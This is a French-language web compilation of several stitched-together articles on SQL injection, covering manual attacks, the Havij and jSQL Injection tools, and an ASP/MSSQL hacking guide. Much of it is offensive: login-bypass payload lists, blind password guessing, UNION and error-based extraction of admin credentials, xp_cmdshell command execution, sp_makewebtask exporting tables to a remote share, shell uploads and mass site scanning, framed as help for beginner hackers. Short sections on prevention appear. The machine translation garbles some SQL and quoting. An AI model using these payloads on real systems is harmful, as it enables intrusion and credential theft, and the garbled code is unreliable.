Programme pour les injections SQL. Instructions d'utilisation de jSQL Injection, un outil multifonctionnel pour rechercher et exploiter les injections SQL dans Kali Linux. Activité de hacker : injections SQL dans des applications Web

L'injection SQL est une attaque qui exploite des instructions SQL dynamiques en commentant certaines parties des instructions ou en ajoutant une condition qui sera toujours vraie. Il cible les failles de l'architecture des applications Web et utilise des instructions SQL pour exécuter du code SQL malveillant :

Dans cet article, nous examinerons les techniques utilisées dans les injections SQL et comment protéger les applications Web contre de telles attaques.

Comment fonctionne l'injection SQL

Les types d'attaques pouvant être menées à l'aide de l'injection SQL varient en fonction du type de moteurs de base de données concernés. L'attaque cible les instructions SQL dynamiques. Une instruction dynamique est une instruction créée au moment de l'exécution en fonction des paramètres d'un formulaire Web ou d'une chaîne de requête URI.

Considérez une simple application Web avec un formulaire de connexion. Le code du formulaire HTML est ci-dessous :

  • Le formulaire accepte une adresse email puis le mot de passe est envoyé dans un fichier PHP appelé index.php ;
  • La session est stockée dans un cookie. Cette fonctionnalité est activée en vérifiant l'indicateur Remember_me. La méthode post est utilisée pour envoyer des données. Cela signifie que les valeurs ne sont pas affichées dans l'URL.

Supposons que la demande de vérification de l'ID utilisateur côté serveur ressemble à ceci :

  • La requête utilise directement les valeurs du tableau $_POST sans les nettoyer ;
  • Le mot de passe est crypté à l'aide de l'algorithme MD5.

Nous examinerons une attaque utilisant l'injection SQL sqlfiddle. Ouvrez l'URL http://sqlfiddle.com/ dans votre navigateur. La fenêtre suivante apparaîtra à l'écran.

Remarque : Vous devrez écrire des instructions SQL :

Étape 1 : Saisissez ce code dans le panneau de gauche :

CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)) ; insérer dans les valeurs des utilisateurs (e-mail, mot de passe) (" [email protégé]",md5("abc"));

Étape 2 : Cliquez sur le bouton Construire un schéma».
Étape 3 : Entrez le code ci-dessous dans le volet de droite :

sélectionnez * parmi les utilisateurs ;

Étape 4 : Cliquez sur " Exécuter SQL" Vous verrez le résultat suivant :

Supposons que l'utilisateur fournisse une adresse e-mail [email protégé] et 1234 comme mot de passe. La requête qui doit être exécutée sur la base de données pourrait ressembler à ceci :

L'exemple de code d'injection SQL ci-dessus peut être contourné en commentant une partie du mot de passe et en ajoutant une condition qui sera toujours vraie. Supposons qu'un attaquant insère les données suivantes dans le champ de l'adresse email :

[email protégé]" OU 1 = 1 LIMITE 1 -- " ]

et xxx dans le champ mot de passe.

L'instruction dynamique générée ressemblera à ceci :

  • [email protégé] se termine par un guillemet simple, qui termine la chaîne ;
  • OR 1 = 1 LIMIT 1 est une condition qui sera toujours vraie et limite les résultats renvoyés à un seul enregistrement.

0 ; ' AND ... est un commentaire SQL qui exclut la partie mot de passe.

Copiez la requête ci-dessus et collez-la dans la zone de texte FiddleRun SQL comme indiqué ci-dessous :

Activité de hacker : injections SQL dans des applications Web

Nous disposons d'une application Web simple disponible sur http://www.techpanda.org/ qui est spécialement rendue vulnérable aux attaques par injection SQL pour les débutants à des fins de démonstration. Le code du formulaire HTML indiqué ci-dessus provient de la page d'autorisation de cette application.

Il fournit une sécurité de base telle que la désinfection des champs de courrier électronique. Cela signifie que le code ci-dessus ne peut pas être utilisé pour contourner ce mécanisme.

Pour contourner cela, vous pouvez utiliser le champ du mot de passe. Le schéma ci-dessous montre les étapes à suivre :

Supposons que l'attaquant fournisse les données suivantes :

Étape 1 : Entrez [email protégé] comme adresse e-mail ;
Étape 2 : Saisissez xxx’) OU 1 = 1 - ] ;

Clique sur le bouton « Soumettre ».

Il sera envoyé au panneau d'administration. La requête générée ressemblera à ceci :

Le schéma ci-dessous montre comment la requête a été générée :

Ici:

  • La requête suppose que le cryptage md5 est utilisé ;
  • Un guillemet simple fermant et une parenthèse sont utilisés ;
  • Une condition est ajoutée à l'opérateur qui sera toujours vraie.

En règle générale, les attaquants tentent d'utiliser plusieurs méthodes différentes dans une attaque par injection SQL pour atteindre leurs objectifs.

Autres types d'attaques par injection SQL

Les injections SQL peuvent causer bien plus de dégâts que la connexion à un système en contournant le mécanisme d'autorisation. Certaines de ces attaques peuvent :

  • Effectuer la suppression des données ;
  • Effectuer la mise à jour des données ;
  • Ajouter des données ;
  • Exécuter des commandes sur le serveur qui téléchargeront et installeront des programmes malveillants ;
  • Exportez des données précieuses telles que les détails de la carte de crédit, les e-mails et les mots de passe vers le serveur distant de l'attaquant.

La liste ci-dessus n'est pas complète. Cela donne simplement une idée des dangers que représentent les injections SQL.

Outils pour automatiser les injections SQL

Dans l’exemple ci-dessus, nous avons utilisé des méthodes d’attaque manuelle. Avant d'effectuer une injection SQL, vous devez comprendre qu'il existe des outils automatisés qui vous permettent de mener des attaques plus efficacement et plus rapidement :

  • SQLSmack ;
  • SQLPing2 ;
  • SQLMap.

Comment empêcher les injections SQL

Voici quelques règles simples pour vous protéger contre les attaques par injection SQL :

Il ne faut pas faire confiance aux entrées de l'utilisateur. Il doit toujours être nettoyé avant que les données ne soient utilisées dans des opérations SQL dynamiques.

Procédures stockées- Ils peuvent encapsuler des requêtes SQL et traiter toutes les données d'entrée en tant que paramètres.

Requêtes préparées- Les requêtes sont créées en premier, puis toutes les données utilisateur fournies sont traitées en tant que paramètres. Cela n'affecte pas la syntaxe des instructions SQL.

Expressions régulières- peut être utilisé pour détecter le code potentiellement malveillant et le supprimer avant d'exécuter des instructions SQL.

Droits d'accès pour se connecter à la base de données- à se protéger contre les injections SQL, les comptes utilisés pour se connecter à la base de données doivent se voir accorder uniquement les droits d'accès nécessaires. Cela permettra de limiter les actions que les instructions SQL peuvent effectuer sur le serveur.

Messages d'erreur- ne doit pas divulguer d'informations confidentielles. Messages d'erreur personnalisés simples tels que " Désolé, une erreur technique s'est produite. L'équipe d'assistance en a déjà été informée. Veuillez réessayer plus tard" peut être utilisé au lieu d'afficher les requêtes SQL à l'origine de l'erreur.

Havij est un outil d'injection SQL automatisé qui aide les testeurs d'intrusion à trouver et à exploiter les vulnérabilités d'injection SQL sur une page Web.

Il s’agit d’un outil d’injection SQL entièrement automatisé et dispersé par ITSecTeam, une organisation de sécurité iranienne. Le nom Havij signifie « carotte », qui est le symbole de l’appareil.

L'outil est présenté avec une interface graphique facile à comprendre qui permet à un administrateur de récupérer facilement les informations convoitées. Une telle convivialité pourrait être la raison de la progression des attaques véhiculées par des pirates informatiques vers celles d'utilisateurs non spécialisés.

Lire aussi

Havij a été lancé au milieu de l'année 2010 et depuis sa sortie, quelques autres dispositifs d'injection SQL programmés (par exemple, sqlmap) ont été introduits. Quoi qu'il en soit, Havij est encore dynamique et normalement utilisé à la fois par les testeurs d'intrusion et les pirates informatiques de bas niveau.

Fonctionnalités du logiciel d’injection SQL Havij

Il peut exploiter une application Web vulnérable. En utilisant ce produit, le client peut effectuer un marquage unique de la base de données principale, récupérer les clients SGBD et les hachages de clés secrètes, vider les tables et les segments, extraire les informations de la base de données, exécuter des proclamations SQL et néanmoins accéder au cadre d'enregistrement caché et exécuter des frais sur le travail. cadre.

  1. Prise en charge HTTPS complète
  2. Diverses mises à jour sont disponibles
  3. Ajout du store MS SQL
  4. Blind MSAccess (en version commerciale uniquement)
  5. PostgreSQL
  6. Manuel d'utilisation facilement accessible
  7. Fonctionnalité supplémentaire de fichier de données de dumping
  8. Le format XML est fourni avec l'outil de stockage de données
  9. L'utilisateur peut supprimer le journal
  10. Les paramètres par défaut peuvent être modifiés à tout moment
  11. Des méthodes de réparation sont disponibles pour masquer les faiblesses du site Web
  12. Des tests de mots clés sont également disponibles
  13. Fonction de correction des erreurs

Havij v1.12 Téléchargement de l'édition gratuite

L'intensité du Havij qui le rend différent des appareils comparables réside dans ses techniques d'injection. Le taux de réussite est supérieur à 95 % pour les cibles vulnérables à l’injection qui l’utilisent.

L'interface graphique (interface utilisateur graphique) facile à comprendre de Havij ainsi que les paramètres et détections automatisés le rendent simple à utiliser pour tout le monde, même pour les clients débutants.

Injection SQL une assez bonne opportunité pour un hacker d'obtenir
accès au serveur. Et avec un petit effort, il
je comprends toujours :)

Codeur à l'intérieur

De nos jours, travailler avec des bases de données est pris en charge
presque tous les langages de programmation, notamment BASIC, C++, Java, PERL, PHP, Assembler et même JavaScript ! Et ces programmes ne s'appellent rien d'autre que SGBD - systèmes de gestion de bases de données. Les bases de données sont souvent utilisées pour résoudre des problèmes financiers,
comptabilité, organisation du personnel, mais ils ont aussi trouvé leur application sur Internet.

Les bases de données sont souvent utilisées pour écrire des applications WEB. Leur utilisation est la plus appropriée pour stocker les données d'enregistrement des utilisateurs, les identifiants de session, l'organisation des recherches, ainsi que d'autres tâches nécessitant plus de traitement.
quantité de données. Pour accéder à la base de données, des technologies serveur sont utilisées : PHP, PERL, ASP, etc. C'est là que le plaisir commence. Quand sur le serveur
tous les correctifs sont installés et le pare-feu bloque tous les ports sauf le port 80 ou lorsqu'une authentification est requise pour accéder à certaines données, un pirate informatique peut utiliser l'injection SQL pour pirater. L'essence de cette attaque est d'exploiter une erreur à l'intersection des technologies WEB et SQL. Le fait est que de nombreuses pages Web destinées au traitement des données des utilisateurs constituent un SQL demande de base de données. Une utilisation imprudente de cette technique peut conduire à des résultats assez intéressants...

Injection SQL

Pour expliquer l'attaque, imaginons que vous alliez sur le site pour télécharger un outil très important et que vous remarquiez avec horreur que seul un utilisateur enregistré peut le faire, et l'inscription, bien sûr, coûte de l'argent 🙂 Vous ne voulez pas donner votre dernier argent gagné, mais vous ne pouvez pas le faire sans le programme ! Il est temps de se rappeler comment
accéder aux bases de données SQL. Par exemple, la vérification de votre identifiant et de votre mot de passe en PHP peut ressembler à ceci :

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
pass="$mot de passe"");
$num_rows=mysql_num_rows($result);
mysql_close($lien);
si ($num_rows!=0)
{
// AUTHENTIFICATION OK
}
autre
{
// ERREUR D'AUTHENTIFICATION
}

J'ai ajouté deux commentaires, "AUTHENTIFICATION OK" - je devrais plutôt
accédez au code qui sera exécuté si le mot de passe et le login sont corrects. Une autre "ERREUR D'AUTHENTIFICATION" est un endroit où sera décrit le code qui sera exécuté s'il est incorrect. Si vous remplissez le formulaire, la demande ressemblera à « http://www.server.com?login=user&password=31337 », où www.server.com est le nom
le serveur auquel nous essayons de nous connecter. Nous avons trouvé ce que nous cherchions et nous retournerons donc au travail SQL. Ainsi, si vous devez spécifier un identifiant et un mot de passe pour l'autorisation, alors le généré SQL la requête ressemblera à ceci :

SELECT * FROM utilisateurs WHERE login="user" ET
mot de passe="31337"

Cela signifie quelque chose comme ceci : renvoyez-moi tous les enregistrements de la base de données des utilisateurs dont le login est « user » et le mot de passe est « 31337 ». Si un tel enregistrement existe, alors l'utilisateur est enregistré, mais sinon, alors non... Mais dans certaines circonstances, tout peut être corrigé. Il s'agit de la situation dans laquelle l'application ne vérifie pas le contenu des données transmises ou ne vérifie pas complètement leur présence. SQL instructions. Dans cet exemple, deux champs login et mot de passe sont cochés, mais si vous spécifiez "31337" ET email=" comme mot de passe [email protégé]"(sans guillemets doubles), alors la requête s'avérera un peu différente :

SELECT * FROM utilisateurs WHERE login="user" AND password="31337" AND
email=" [email protégé]"

Et si le champ email existe, cette condition sera également vérifiée. Si vous vous souvenez des bases de l'algèbre booléenne, vous penserez qu'en plus de l'opération « et », il existe également un « ou », et comme leur utilisation est prise en charge par SQL, vous pouvez
de la manière décrite, ajoutez une condition qui renvoie toujours vrai. Pour ce faire, vous devez spécifier « user » OR 1=1-- comme login, auquel cas la demande prendra la forme :

SELECT * FROM utilisateurs WHERE login="user" OR 1=1--" AND
mot de passe="31337"

Tout d'abord, vous devez savoir que "--" signifie la fin de la requête, et tout ce qui suit le "--"
ne sera pas traité ! Il s'avère que nous avons fait une demande :

SELECT * FROM utilisateurs WHERE login="user" OR 1=1

Comme vous pouvez le voir, nous avons ajouté la condition « 1=1 », ce qui signifie que le critère de vérification sera « si le login est « utilisateur » ou 1=1 », mais 1 est toujours égal à 1 (la seule exception peut être l'arithmétique de Dani Shepovalov :)). Pour tester nos soupçons
Saisissez « http://www.server.com?login=user ou 1=1--&password=31337 » dans la barre d'adresse. Cela conduit au fait que le login que nous avons spécifié n'a pas d'importance, mais
surtout le mot de passe ! Et nous sommes dans la matrice, dans le système, et pouvons télécharger sereinement ce dont nous avons besoin.

Mais tout cela n’est qu’en théorie. En pratique, on ne sait pas comment la requête est formée, quelles données sont transmises et dans quel ordre. Par conséquent, vous devez spécifier "user" OR 1=1--" pour tous les champs. Vous devez également vérifier le formulaire de soumission pour les champs masqués. En HTML, ils sont décrits comme " ". S'il en existe, enregistrez la page et modifiez les valeurs de ces champs. Les valeurs qu'ils contiennent sont souvent oubliées pour vérifier la présence d'instructions SQL. Mais pour que tout fonctionne, vous devez spécifier l'intégralité chemin d'accès au script sous forme (balise "FORM") pour le paramètre "ACTION" qui traite cette requête.

Mais on ne sait pas toujours comment est formée la demande,
L’exemple précédent pourrait être formé des manières suivantes :

SELECT * FROM utilisateurs WHERE (login="user" AND password="31337")
SELECT * FROM utilisateurs WHERE login="user" AND password="31337"
SELECT * FROM utilisateurs WHERE login=user AND password=31337

Dans ce cas, vous pouvez essayer les options suivantes :

"OU 1=1--
"OU 1=1--
OU 1=1--
" OU "a"="a
" OU "a"="a
") OU ("a"="a
OU "1"="1"

Tout dépend du but du script et du programmeur. Puisque chacun a tendance à tout faire à sa manière, il est fort possible que le programmeur ne choisisse pas l'option la plus simple. Par conséquent, vous ne devez pas immédiatement
abandonnez si vous êtes rejeté. Nécessaire
essayez autant d'options que possible...

Détection de mot de passe

Contourner l'autorisation n'est pas mauvais, mais très souvent le trou que vous utilisez est fermé et tout ce qui était à votre disposition est perdu.
Il faut s'y attendre si le programmeur n'est pas un imbécile
Au fil du temps, toutes les lacunes seront comblées. Vous pouvez facilement vous débarrasser de telles situations en vous en occupant à l'avance. La bonne solution peut être de deviner le mot de passe en utilisant
analyse des résultats d'authentification. Essayons d'abord de deviner le mot de passe, pour cela, saisissez son emplacement :

"OU mot de passe>"a

Si on nous dit que l'autorisation a été obtenue, alors le mot de passe
ne commence pas par la lettre « a », mais par l'un des éléments suivants de la liste. Passons à autre chose et remplaçons
placez "a", ensuite "b", "c", "d", "e"... etc. jusqu'à ce qu'ils nous disent que le mot de passe n'est pas correct. Que ce processus s'arrête au caractère « x », dans ce cas deux options pour l'évolution de la situation sont créées : le mot de passe est trouvé ou le mot de passe commence par ce caractère. Pour vérifier la première option, écrivez l'emplacement du mot de passe :

"OU mot de passe="x

et si le mot de passe est accepté et que vous êtes autorisé à entrer, alors vous avez deviné le mot de passe ! Eh bien non, alors vous devriez sélectionner le deuxième caractère,
exactement pareil, depuis le début. Rechercher deux caractères
besoin de la même chose. Au final, vous recevrez un mot de passe, et vous chercherez un login de la même manière :)
Si le mot de passe et le login trouvés ne vous conviennent pas, vous pouvez en trouver d'autres. Pour ce faire, vous devez commencer à vérifier à partir du dernier caractère du mot de passe trouvé. Ainsi, si le mot de passe était "xxx" il faut vérifier l'existence du mot de passe
"xxxy":

"OU mot de passe="xxx

pour ne pas rater plus d’une option !

Serveur MS SQL

MS SQL Server est généralement une aubaine si le filtrage nécessaire n'est pas effectué. En utilisant la vulnérabilité d'injection SQL, vous pouvez exécuter
commandes sur le serveur distant à l’aide de exec master..xp_cmdshell. Mais pour utiliser cette conception
l'opération SELECT doit être terminée. En SQL, les instructions sont séparées par des points-virgules. Par conséquent, pour vous connecter à une IP via Telnet, vous devez saisir le mot de passe/login :

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server possède plusieurs fonctionnalités plus intéressantes qui vous permettent de connaître les identifiants et les mots de passe stockés dans la base de données. Pour ce faire, la sortie d'erreur est redirigée vers un serveur arbitraire et via lui
analyse, vous pouvez connaître le nom de la table, les champs et leurs types. Après quoi vous pourrez demander

" Connexion UNION SELECT TOP 1 DES utilisateurs--

(login est le nom du champ contenant le login, et users est le nom de la table,
semi-scientifiques en cours d’analyse des erreurs).

La réponse pourrait être :


Erreur de syntaxe lors de la conversion de la valeur nvarchar "admin" to a column of data type int. !}
/default.asp, ligne 27

Nous savons maintenant qu'il existe un utilisateur nommé "admin". Nous pouvons maintenant obtenir son mot de passe :

" Mot de passe UNION SELECT TOP 1 FROM utilisateurs où login="admin"--

Résultat:

Erreur du fournisseur Microsoft OLE DB pour les pilotes ODBC « 80040e07 »
Erreur de syntaxe lors de la conversion de la valeur nvarchar "xxx" to a column of data type int. !}
/tedault.asp, ligne 27

Nous savons maintenant qu'il existe un utilisateur "admin" avec un mot de passe "xxx". Avec cela, vous pouvez en toute sécurité
utilisez-le et connectez-vous au système 😉

Mais il existe de nombreuses autres fonctions pour travailler avec SQL,
Lorsque vous travaillez avec une base de données, vous pouvez également supprimer des données, les modifier, insérer les vôtres et même manipuler des fichiers et travailler avec le registre.
En général, les règles SQL Server :)

protection

Mais bien sûr, tout cela peut être évité. Pour ce faire, vous pouvez
utiliser des filtres,
fournis par les fabricants. Vous pouvez trouver vos propres solutions, par exemple en remplaçant tous les
guillemets doubles (si pour SQL nous demandons d'en utiliser des uniques), ou vice versa. Vous ne pouvez autoriser l'utilisation de lettres et s@baki que si vous devez entrer
adresse e-mail. Et dans la perle il y a un incroyable
la fonction 🙂 quote() dans le module DBI::DBD, qui réussit à sécuriser votre requête par rapport à SQL. Il existe de nombreuses solutions, vous en avez juste besoin
profiter de. Sinon, pourquoi alors tout ça...

Exécutez le fichier téléchargé en double-cliquant (vous devez disposer d'une machine virtuelle).

3. Anonymat lors de la vérification d'un site pour l'injection SQL

Configuration de Tor et Privoxy dans Kali Linux

[Section en cours de développement]

Configuration de Tor et Privoxy sous Windows

[Section en cours de développement]

Paramètres de proxy dans jSQL Injection

[Section en cours de développement]

4. Vérification du site pour l'injection SQL avec jSQL Injection

Travailler avec le programme est extrêmement simple. Entrez simplement l'adresse du site Web et appuyez sur ENTRÉE.

La capture d'écran suivante montre que le site est vulnérable à trois types d'injections SQL (les informations les concernant sont indiquées dans le coin inférieur droit). En cliquant sur les noms des injections vous pouvez changer la méthode utilisée :

De plus, les bases de données existantes nous ont déjà été présentées.

Vous pouvez afficher le contenu de chaque tableau :

En règle générale, la chose la plus intéressante à propos des tables réside dans les informations d’identification de l’administrateur.

Si vous avez de la chance et que vous trouvez les données de l’administrateur, il est trop tôt pour vous réjouir. Vous devez toujours trouver le panneau d'administration où saisir ces données.

5. Recherchez des panneaux d'administration avec jSQL Injection

Pour ce faire, passez à l'onglet suivant. Ici, nous sommes accueillis avec une liste d’adresses possibles. Vous pouvez sélectionner une ou plusieurs pages à vérifier :

La commodité réside dans le fait que vous n'avez pas besoin d'utiliser d'autres programmes.

Malheureusement, peu de programmeurs imprudents stockent les mots de passe en texte clair. Très souvent, dans la ligne du mot de passe, nous voyons quelque chose comme

8743b52063cd84097a65d1633f5c74f5

C'est un hachage. Vous pouvez le décrypter en utilisant la force brute. Et... jSQL Injection a un forceur brut intégré.

6. Hachages par force brute à l'aide de l'injection jSQL

La commodité incontestable est que vous n'avez pas besoin de rechercher d'autres programmes. La plupart des hachages les plus populaires sont pris en charge.

Ce n'est pas la meilleure option. Afin de devenir un gourou du décodage des hachages, le livre « » en russe est recommandé.

Mais, bien sûr, lorsqu'il n'y a pas d'autre programme à portée de main ou qu'il n'y a pas de temps pour étudier, jSQL Injection avec sa fonction de force brute intégrée s'avérera très utile.

Il existe des paramètres : vous pouvez définir les caractères inclus dans le mot de passe, la plage de longueur du mot de passe.

7. Opérations sur les fichiers après détection des injections SQL

En plus des opérations avec les bases de données - lecture et modification de celles-ci, si des injections SQL sont détectées, les opérations suivantes sur les fichiers peuvent être effectuées :

  • lire des fichiers sur le serveur
  • télécharger de nouveaux fichiers sur le serveur
  • télécharger des shells sur le serveur

Et tout cela est implémenté dans jSQL Injection !

Il existe des restrictions : le serveur SQL doit disposer de privilèges sur les fichiers. Les administrateurs système intelligents les désactivent et ne pourront pas accéder au système de fichiers.

La présence de privilèges sur les fichiers est assez simple à vérifier. Accédez à l'un des onglets (lecture de fichiers, création d'un shell, téléchargement d'un nouveau fichier) et essayez d'effectuer l'une des opérations spécifiées.

Autre remarque très importante - nous devons connaître le chemin absolu exact du fichier avec lequel nous allons travailler - sinon rien ne fonctionnera.

Regardez la capture d'écran suivante :

A toute tentative d'intervention sur un fichier, nous recevons la réponse suivante : Aucun privilège FILE(pas de privilèges de fichier). Et rien ne peut être fait ici.

Si par contre vous avez une autre erreur :

Problème d'écriture dans [nom_répertoire]

Cela signifie que vous avez mal spécifié le chemin absolu où vous souhaitez écrire le fichier.

Afin de deviner un chemin absolu, vous devez au moins connaître le système d’exploitation sur lequel le serveur est exécuté. Pour ce faire, passez à l'onglet Réseau.

Un tel enregistrement (ligne Win64) nous donne des raisons de supposer que nous avons affaire à un système d'exploitation Windows :

Keep-Alive : timeout=5, max=99 Serveur : Apache/2.4.17 (Win64) PHP/7.0.0RC6 Connexion : Méthode Keep-Alive : HTTP/1.1 200 OK Longueur du contenu : 353 Date : vendredi 11 décembre 2015 11:48:31 GMT X-Powered-By : PHP/7.0.0RC6 Type de contenu : texte/html ; jeu de caractères = UTF-8

Ici nous avons du Unix (*BSD, Linux) :

Encodage de transfert : fragmenté Date : vendredi 11 décembre 2015 11:57:02 GMT Méthode : HTTP/1.1 200 OK Keep-Alive : timeout=3, max=100 Connexion : keep-alive Type de contenu : text/html X- Alimenté par : PHP/5.3.29 Serveur : Apache/2.2.31 (Unix)

Et ici nous avons CentOS :

Méthode : HTTP/1.1 200 OK Expire : jeu. 19 novembre 1981 08:52:00 GMT Set-Cookie : PHPSESSID=9p60gtunrv7g41iurr814h9rd0 ; path=/ Connexion : keep-alive X-Cache-Lookup : MISS depuis t1.hoster.ru:6666 Serveur : Apache/2.2.15 (CentOS) X-Powered-By : PHP/5.4.37 X-Cache : MISS depuis t1.hoster.ru Cache-Control : pas de magasin, pas de cache, revalidation obligatoire, post-check=0, pre-check=0 Pragma : pas de cache Date : vendredi 11 décembre 2015 12:08:54 GMT Encodage de transfert : type de contenu fragmenté : texte/html ; jeu de caractères = WINDOWS-1251

Sous Windows, un dossier typique pour les sites est C:\Serveur\données\htdocs\. Mais, en fait, si quelqu'un «pensait» à créer un serveur sous Windows, il est fort probable que cette personne n'ait rien entendu parler des privilèges. Par conséquent, vous devriez commencer à essayer directement depuis le répertoire C:/Windows/ :

Comme vous pouvez le constater, tout s'est bien passé du premier coup.

Mais les shells d'injection jSQL eux-mêmes suscitent des doutes dans mon esprit. Si vous disposez de privilèges de fichier, vous pouvez facilement télécharger quelque chose avec une interface Web.

8. Vérification groupée des sites pour les injections SQL

Et même cette fonction est disponible dans jSQL Injection. Tout est extrêmement simple : téléchargez une liste de sites (peut être importée à partir d'un fichier), sélectionnez ceux que vous souhaitez vérifier et cliquez sur le bouton approprié pour lancer l'opération.

Conclusion de l'injection jSQL

jSQL Injection est un bon outil puissant pour rechercher puis utiliser les injections SQL trouvées sur les sites Web. Ses avantages incontestables : facilité d'utilisation, fonctions associées intégrées. jSQL Injection peut être le meilleur ami du débutant lors de l’analyse de sites Web.

Parmi les défauts, je noterais l'impossibilité d'éditer les bases de données (du moins je n'ai pas trouvé cette fonctionnalité). Comme pour tous les outils GUI, l'un des inconvénients de ce programme peut être attribué à son incapacité à être utilisé dans des scripts. Néanmoins, une certaine automatisation est également possible dans ce programme - grâce à la fonction intégrée d'analyse de masse du site.

Le programme jSQL Injection est beaucoup plus pratique à utiliser que sqlmap. Mais sqlmap prend en charge davantage de types d'injections SQL, propose des options pour travailler avec des pare-feu de fichiers et quelques autres fonctions.

En résumé : jSQL Injection est le meilleur ami du hacker débutant.

L'aide pour ce programme dans l'encyclopédie Kali Linux est disponible sur cette page : http://kali.tools/?p=706

Injection SQL pour les nuls, piratage ASP+MSSQL

Alexandre Antipov

Cet article ne contient aucune nouvelle vérité ; l’injection SQL est largement décrite et utilisée partout. L'article s'adresse davantage aux débutants, mais peut-être que les professionnels pourront y trouver une ou deux nouvelles astuces.


Cet article est destiné à aider les débutants à faire face aux problèmes qu'ils peuvent rencontrer lors de l'utilisation de la technique d'injection SQL, à l'utiliser avec succès et à pouvoir se protéger contre de telles attaques.

Introduction

Lorsque le serveur qui vous intéresse n'a que le port 80 ouvert et que le scanner de vulnérabilités ne peut rien signaler d'intéressant et que vous savez que l'administrateur système installe toujours très rapidement tous les correctifs sur le serveur Web, notre dernière chance est le piratage Web. L'injection SQL est l'un des types de piratage Web qui utilise uniquement le port 80 et peut fonctionner même si les correctifs sont installés en temps opportun. Cette attaque vise davantage les applications Web (telles que ASP, JSP, PHP, CGI, etc.) que directement le serveur Web ou les services du système d'exploitation.

Cet article ne contient aucune nouvelle vérité ; l’injection SQL est largement décrite et utilisée partout. L'article s'adresse davantage aux débutants, mais peut-être que les professionnels pourront y trouver une ou deux nouvelles astuces. Je recommande également de consulter les liens à la fin de l'article pour obtenir des informations plus détaillées provenant d'experts dans le domaine.

1.1 Qu'est-ce que l'injection SQL ?

SQL Injection est une méthode conçue pour injecter des requêtes/commandes SQL via des pages Web. De nombreuses pages Web utilisent des paramètres présentés aux utilisateurs Web et effectuent une requête SQL sur la base de données. Prenons par exemple le cas d'une connexion utilisateur, lorsqu'il existe une page Web avec un nom et un mot de passe et qu'une requête SQL est effectuée dans la base de données pour vérifier s'il existe un utilisateur enregistré avec ce nom et ce mot de passe. En utilisant l'injection SQL, il est possible d'envoyer un champ de nom d'utilisateur et/ou de mot de passe inventé qui modifie la requête SQL, ce qui peut nous donner des choses intéressantes.

2.0 Ce que nous devrions rechercher

Essayez de trouver des pages qui vous demandent des données, telles qu'une page de recherche, une page de discussion, etc. Parfois, les pages HTML utilisent la méthode POST pour envoyer des commandes vers une autre page Web. Dans ce cas, vous ne verrez pas les paramètres dans l'URL. Cependant, dans ce cas, vous pouvez rechercher la balise « FORM » dans le code source HTML des pages. Vous trouverez quelque chose comme ceci :



Tous les paramètres entre

Et
pourrait potentiellement être vulnérable à l’injection SQL.

2.1 Que faire si vous ne trouvez pas de page qui utilise la saisie ?

Recherchez des pages telles que les pages Web ASP, JSP, CGI ou PHP. Essayez de trouver des pages qui utilisent des paramètres tels que :

3.0. Comment puis-je vérifier que ce que j'ai trouvé est vulnérable ?

Essayez de commencer par une seule citation. Saisissez la ligne suivante :

salut" ou 1=1--

dans le champ nom d'utilisateur ou mot de passe, ou encore dans le paramètre URL. Exemple:

Connexion : salut" ou 1=1--
Pass : salut" ou 1=1--
http://duck/index.asp?id=hi" ou 1=1--

Si vous avez fait cela avec un champ masqué, téléchargez simplement le code HTML original, enregistrez-le sur votre disque dur, modifiez l'URL et le champ masqué en conséquence. Exemple:



Si la chance est de votre côté, vous pourrez vous connecter sans nom d'utilisateur ni mot de passe.

3.1 Mais pourquoi " ou 1=1-- ?

Regardons un autre exemple qui explique l'utilité de la construction " ou 1=1--. En plus de contourner l'enregistrement, nous pouvons également examiner des informations supplémentaires qui ne sont généralement pas disponibles. Considérons une page asp qui renvoie vers une autre page avec l'URL suivante :

http://duck/index.asp?category=food

Dans une URL, « catégorie » est le nom de la variable et « nourriture » est la valeur attribuée à cette variable. Pour ce faire, la page asp peut contenir le code suivant :

v_cat = requête("catégorie")
sqlstr="SELECT * FROM produit WHERE PCategory="" & v_cat & """
définir rs=conn.execute(sqlstr)

Comme vous pouvez le voir, notre variable sera combinée avec v_cat et ainsi la requête SQL devrait devenir :

SELECT * FROM produit WHERE PCategory="food"

Cette requête doit renvoyer un ensemble contenant une ou plusieurs lignes correspondant à la clause WHERE, dans ce cas « food ». Modifions maintenant l'URL comme suit :

http://duck/index.asp?category=food" ou 1=1--
SELECT * FROM produit WHERE PCategory="food" ou 1=1--'

Cette requête renverra toutes les lignes de la table product, que Pcategory soit « food » ou non. Le double tiret "-" indique à MS SQL Server d'ignorer le reste de la requête qui suit le guillemet simple ("). Parfois, vous pouvez remplacer le double tiret par un "#" dièse.

Cependant, si vous utilisez un serveur non SQL ou si vous ne pouvez pas ignorer le reste de la requête, essayez :

" ou "a" = "a

La requête SQL deviendra désormais :

SELECT * FROM product WHERE PCategory="food" ou "a"="a"

Cette requête renverra le même résultat.

En fonction de la requête SQL réelle, vous devrez peut-être essayer certaines de ces possibilités :

"ou 1=1--
"ou 1=1--
ou 1=1--
" ou "a" = "a
" ou "a" = "a
") ou ("a"="a

4.0 Comment puis-je exécuter des commandes à distance à l'aide de l'injection SQL ?

La possibilité de saisir une commande SQL signifie généralement que nous pouvons exécuter des requêtes SQL à volonté. L'installation par défaut de MS SQL Server s'exécute avec les droits système. Nous pouvons appeler des procédures intégrées comme master..xp_cmdshell pour exécuter à distance des commandes arbitraires :

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Essayez d'utiliser des guillemets doubles ("") si ("") ne fonctionne pas.

Le point-virgule mettra fin à la requête SQL en cours et vous permettra d'exécuter de nouvelles commandes SQL. Pour vérifier si la commande a réussi, vous pouvez vérifier les paquets ICMP dans 10.10.1.2 pour voir s'ils contiennent des paquets provenant du serveur vulnérable :

http://site/?ID=31610

Si vous ne recevez aucune requête ping du serveur et recevez un message d'erreur indiquant une erreur d'autorisation, il est possible que l'administrateur ait restreint l'accès de l'utilisateur Web aux procédures stockées.

5.0 Comment obtenir les résultats de ma requête SQL ?

Vous pouvez utiliser sp_makewebtask pour rédiger votre requête en HTML :

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

L'adresse IP spécifiée doit avoir un dossier « partager » avec un accès pour tout le monde.

6.0 Comment récupérer des données d'une base de données à l'aide des messages d'erreur ODBC ?

